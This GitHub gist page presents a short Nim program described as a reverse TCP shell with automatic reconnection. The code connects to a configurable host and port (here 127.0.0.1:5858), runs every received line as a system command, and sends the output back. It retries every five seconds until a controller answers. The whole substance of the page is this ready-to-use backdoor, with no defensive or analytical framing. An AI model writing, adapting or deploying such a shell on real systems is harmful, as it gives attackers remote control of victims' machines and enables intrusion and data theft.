Skip to content

Instantly share code, notes, and snippets.

@keyboardcrunch
Created December 12, 2019 01:19
Show Gist options
  • Save keyboardcrunch/4e1e87d94a0f47e9741760069f3da622 to your computer and use it in GitHub Desktop.
Save keyboardcrunch/4e1e87d94a0f47e9741760069f3da622 to your computer and use it in GitHub Desktop.
Reverse TCP shell in Nim-Lang; with rejoin/retry connections
import net, os, osproc
while true:
try:
var client: Socket = newSocket()
client.connect("127.0.0.1", Port(5858))
stdout.writeLine("Connected to server.")
while true:
let message: string = client.recvLine()
if message != "":
let (output, exitCode) = execCmdEx message # execute received cmd
client.send(output)
elif message == "/r/L": # blank recvLine is /r/L
continue
else:
break
except:
echo("server not ready")
sleep(5000) # 5 second retry wait
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment